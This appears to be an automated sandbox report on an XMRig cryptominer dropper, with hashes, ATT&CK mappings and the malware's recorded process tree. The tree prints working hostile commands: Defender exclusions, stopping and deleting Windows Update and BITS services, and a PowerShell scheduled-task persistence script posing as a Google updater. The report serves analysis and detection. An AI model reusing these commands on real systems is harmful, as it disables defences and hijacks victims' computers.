xmrig | 35e3c1ca2fe9cee18e79de1b02972b0d010320a54e20113b7cb2ba063690f21e

Analysis

max time kernel
301s
max time network
300s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
27/09/2022, 05:34

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General

Target

vv.exe
Size

7.9MB
MD5

8f76cc737082cc709dd4c9106c671ab6
SHA1

ba5de16d94e73b551f0c6e5d81eb8ee9d8093d11
SHA256

35e3c1ca2fe9cee18e79de1b02972b0d010320a54e20113b7cb2ba063690f21e
SHA512

b88ef3536b8af9677d189d5ed6fee9bdb0cda0e356bb4108ccf8f52211a5ac85b183f3edff3a8e723e79b6dfdce87d1450cdad5790cea35abfd283ed159f6ec2
SSDEEP

196608:+Al04HUfTrwa4FLxjAT0OR+xVHgbBlDmia6SMvzr:Gk3/FLxA0OR+biEmSwH

Score

10^/10

xmrig evasion miner themida trojan upx

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	vv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/1068-164-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1068-168-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe
File created	C:\Windows\system32\drivers\etc\hosts	vv.exe

Executes dropped EXE 1 IoCs

pid	Process
2012	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1068-164-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1068-168-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1628	taskeng.exe

Themida packer 19 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/1184-54-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-55-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-56-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-58-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-59-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-61-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-62-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/memory/1184-99-0x000000013FC40000-0x0000000140B06000-memory.dmp	themida
behavioral1/files/0x000c000000012324-110.dat	themida
behavioral1/files/0x000c000000012324-112.dat	themida
behavioral1/memory/2012-113-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-114-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-115-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-117-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-118-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-119-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-159-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/memory/2012-162-0x000000013FBB0000-0x0000000140A76000-memory.dmp	themida
behavioral1/files/0x000c000000012324-167.dat	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1184	vv.exe
2012	updater.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2012 set thread context of 1228	2012	updater.exe	78
PID 2012 set thread context of 1068	2012	updater.exe	84

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	vv.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1936	sc.exe
1072	sc.exe
1972	sc.exe
1824	sc.exe
1788	sc.exe
980	sc.exe
636	sc.exe
1668	sc.exe
1572	sc.exe
792	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1896	schtasks.exe
688	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60828ced32d2d801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1720	powershell.exe
536	powershell.exe
288	powershell.exe
1712	powershell.exe
276	powershell.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe
1068	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeShutdownPrivilege	1424	powercfg.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeShutdownPrivilege	1156	powercfg.exe
Token: SeShutdownPrivilege	1912	powercfg.exe
Token: SeShutdownPrivilege	1968	powercfg.exe
Token: SeDebugPrivilege	288	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeShutdownPrivilege	616	powercfg.exe
Token: SeShutdownPrivilege	1952	powercfg.exe
Token: SeShutdownPrivilege	1096	powercfg.exe
Token: SeDebugPrivilege	276	powershell.exe
Token: SeShutdownPrivilege	1736	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	968	WMIC.exe
Token: SeSecurityPrivilege	968	WMIC.exe
Token: SeTakeOwnershipPrivilege	968	WMIC.exe
Token: SeLoadDriverPrivilege	968	WMIC.exe
Token: SeSystemtimePrivilege	968	WMIC.exe
Token: SeBackupPrivilege	968	WMIC.exe
Token: SeRestorePrivilege	968	WMIC.exe
Token: SeShutdownPrivilege	968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	968	WMIC.exe
Token: SeUndockPrivilege	968	WMIC.exe
Token: SeManageVolumePrivilege	968	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	968	WMIC.exe
Token: SeSecurityPrivilege	968	WMIC.exe
Token: SeTakeOwnershipPrivilege	968	WMIC.exe
Token: SeLoadDriverPrivilege	968	WMIC.exe
Token: SeSystemtimePrivilege	968	WMIC.exe
Token: SeBackupPrivilege	968	WMIC.exe
Token: SeRestorePrivilege	968	WMIC.exe
Token: SeShutdownPrivilege	968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	968	WMIC.exe
Token: SeUndockPrivilege	968	WMIC.exe
Token: SeManageVolumePrivilege	968	WMIC.exe
Token: SeLockMemoryPrivilege	1068	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 1720	1184	vv.exe	27
PID 1184 wrote to memory of 1720	1184	vv.exe	27
PID 1184 wrote to memory of 1720	1184	vv.exe	27
PID 1184 wrote to memory of 1328	1184	vv.exe	29
PID 1184 wrote to memory of 1328	1184	vv.exe	29
PID 1184 wrote to memory of 1328	1184	vv.exe	29
PID 1184 wrote to memory of 2016	1184	vv.exe	30
PID 1184 wrote to memory of 2016	1184	vv.exe	30
PID 1184 wrote to memory of 2016	1184	vv.exe	30
PID 1184 wrote to memory of 536	1184	vv.exe	33
PID 1184 wrote to memory of 536	1184	vv.exe	33
PID 1184 wrote to memory of 536	1184	vv.exe	33
PID 1328 wrote to memory of 636	1328	cmd.exe	35
PID 1328 wrote to memory of 636	1328	cmd.exe	35
PID 1328 wrote to memory of 636	1328	cmd.exe	35
PID 1328 wrote to memory of 1936	1328	cmd.exe	37
PID 1328 wrote to memory of 1936	1328	cmd.exe	37
PID 1328 wrote to memory of 1936	1328	cmd.exe	37
PID 2016 wrote to memory of 1424	2016	cmd.exe	36
PID 2016 wrote to memory of 1424	2016	cmd.exe	36
PID 2016 wrote to memory of 1424	2016	cmd.exe	36
PID 1328 wrote to memory of 792	1328	cmd.exe	38
PID 1328 wrote to memory of 792	1328	cmd.exe	38
PID 1328 wrote to memory of 792	1328	cmd.exe	38
PID 1328 wrote to memory of 1072	1328	cmd.exe	40
PID 1328 wrote to memory of 1072	1328	cmd.exe	40
PID 1328 wrote to memory of 1072	1328	cmd.exe	40
PID 2016 wrote to memory of 1156	2016	cmd.exe	39
PID 2016 wrote to memory of 1156	2016	cmd.exe	39
PID 2016 wrote to memory of 1156	2016	cmd.exe	39
PID 1328 wrote to memory of 1668	1328	cmd.exe	41
PID 1328 wrote to memory of 1668	1328	cmd.exe	41
PID 1328 wrote to memory of 1668	1328	cmd.exe	41
PID 1328 wrote to memory of 1520	1328	cmd.exe	42
PID 1328 wrote to memory of 1520	1328	cmd.exe	42
PID 1328 wrote to memory of 1520	1328	cmd.exe	42
PID 2016 wrote to memory of 1912	2016	cmd.exe	43
PID 2016 wrote to memory of 1912	2016	cmd.exe	43
PID 2016 wrote to memory of 1912	2016	cmd.exe	43
PID 2016 wrote to memory of 1968	2016	cmd.exe	44
PID 2016 wrote to memory of 1968	2016	cmd.exe	44
PID 2016 wrote to memory of 1968	2016	cmd.exe	44
PID 536 wrote to memory of 1896	536	powershell.exe	45
PID 536 wrote to memory of 1896	536	powershell.exe	45
PID 536 wrote to memory of 1896	536	powershell.exe	45
PID 1328 wrote to memory of 1824	1328	cmd.exe	46
PID 1328 wrote to memory of 1824	1328	cmd.exe	46
PID 1328 wrote to memory of 1824	1328	cmd.exe	46
PID 1328 wrote to memory of 1640	1328	cmd.exe	47
PID 1328 wrote to memory of 1640	1328	cmd.exe	47
PID 1328 wrote to memory of 1640	1328	cmd.exe	47
PID 1328 wrote to memory of 1260	1328	cmd.exe	48
PID 1328 wrote to memory of 1260	1328	cmd.exe	48
PID 1328 wrote to memory of 1260	1328	cmd.exe	48
PID 1328 wrote to memory of 1572	1328	cmd.exe	49
PID 1328 wrote to memory of 1572	1328	cmd.exe	49
PID 1328 wrote to memory of 1572	1328	cmd.exe	49
PID 1184 wrote to memory of 288	1184	vv.exe	50
PID 1184 wrote to memory of 288	1184	vv.exe	50
PID 1184 wrote to memory of 288	1184	vv.exe	50
PID 288 wrote to memory of 836	288	powershell.exe	52
PID 288 wrote to memory of 836	288	powershell.exe	52
PID 288 wrote to memory of 836	288	powershell.exe	52
PID 1628 wrote to memory of 2012	1628	taskeng.exe	54

C:\Users\Admin\AppData\Local\Temp\vv.exe
"C:\Users\Admin\AppData\Local\Temp\vv.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:636
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1936
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:792
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1072
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1668
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1520
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1824
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1640
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1260
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1572
- C:\Windows\system32\cmd.exe
  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1424
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1912
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#qauvexd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#ceflnjkax#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:288
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:836

C:\Windows\system32\taskeng.exe
taskeng.exe {0A9FC149-9C9B-4256-ABD7-47DA98FD586A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  PID:2012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1128
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:1972
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:1824
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:1788
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:980
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:1572
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:1916
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:932
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      PID:584
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:896
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:1764
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1540
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:616
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1952
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1096
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#qauvexd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:276
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
      4⤵
      Creates scheduled task(s)
      PID:688
- - C:\Windows\system32\conhost.exe
    C:\Windows\system32\conhost.exe dyaqxbmsoinnnm
    3⤵
    PID:1228
  - - C:\Windows\system32\cmd.exe
      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
      4⤵
      Drops file in Program Files directory
      PID:1900
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Name, VideoProcessor
        5⤵
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:1948
- - C:\Windows\system32\conhost.exe
    C:\Windows\system32\conhost.exe ugxlnakznvqhxgmt GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1mD4z/F1I8voeixdh9ABkSX5OmiklgByXQ8r/0t6T+lh
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
7.9MB

MD5
4219fd31abeed331b5459aded2b24a39

SHA1
acbd8bcdff673b3dceffa7ae26c462ee5e030a70

SHA256
18f3a9fc3b3fe7123e424941cae2c9d731f189db686c46e7a484579c69aef62d

SHA512
e08340590aa827875b4b479018a1170d176df4b52e08ceebb55337707990993fe954cfa1b79d91ca84e6628ade8c19a874d94a51274a68d60254a63297a71173

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
7.9MB

MD5
4219fd31abeed331b5459aded2b24a39

SHA1
acbd8bcdff673b3dceffa7ae26c462ee5e030a70

SHA256
18f3a9fc3b3fe7123e424941cae2c9d731f189db686c46e7a484579c69aef62d

SHA512
e08340590aa827875b4b479018a1170d176df4b52e08ceebb55337707990993fe954cfa1b79d91ca84e6628ade8c19a874d94a51274a68d60254a63297a71173

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
47aa276d1047623f89451f735fd0c47a

SHA1
defb9bbbb251300d2ee36294de0d7dbbfccd732a

SHA256
8593e64af2f01580ae6ad937bde4d68b6e6344c87786f066b33320e8ffe191a7

SHA512
7ef7b3ffbe91a1d57067b96720fd296119df8c4bda11b46ad5238647f894fc7c4e4be008fb52c509cd5db298643f5b6214cf10a65ec146c249dd901afeb59912

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
47aa276d1047623f89451f735fd0c47a

SHA1
defb9bbbb251300d2ee36294de0d7dbbfccd732a

SHA256
8593e64af2f01580ae6ad937bde4d68b6e6344c87786f066b33320e8ffe191a7

SHA512
7ef7b3ffbe91a1d57067b96720fd296119df8c4bda11b46ad5238647f894fc7c4e4be008fb52c509cd5db298643f5b6214cf10a65ec146c249dd901afeb59912

Download Submit
